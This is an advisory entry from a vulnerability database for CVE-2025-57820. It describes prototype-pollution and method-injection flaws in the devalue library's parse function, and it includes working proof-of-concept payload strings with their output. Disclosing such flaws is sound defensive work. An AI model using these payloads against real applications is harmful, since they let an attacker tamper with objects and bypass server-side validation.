Vulnerability Database
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Total vulnerabilities in the database
CVE-2025-57820
1. devalue.parse allows __proto__ to be set
A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:
class Vector {
constructor(x, y) {
this.x = x;
this.y = y;
}
get magnitude() {
return (this.x ** 2 + this.y ** 2) ** 0.5;
}
}
const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;
const vector = devalue.parse(payload, {
Vector: ([x, y]) => new Vector(x, y)
});
console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 5
2. devalue.parse allows array prototype methods to be assigned to object
In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:
devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]
devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:
const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0
This could be used by a creative attacker to bypass server-side validation.
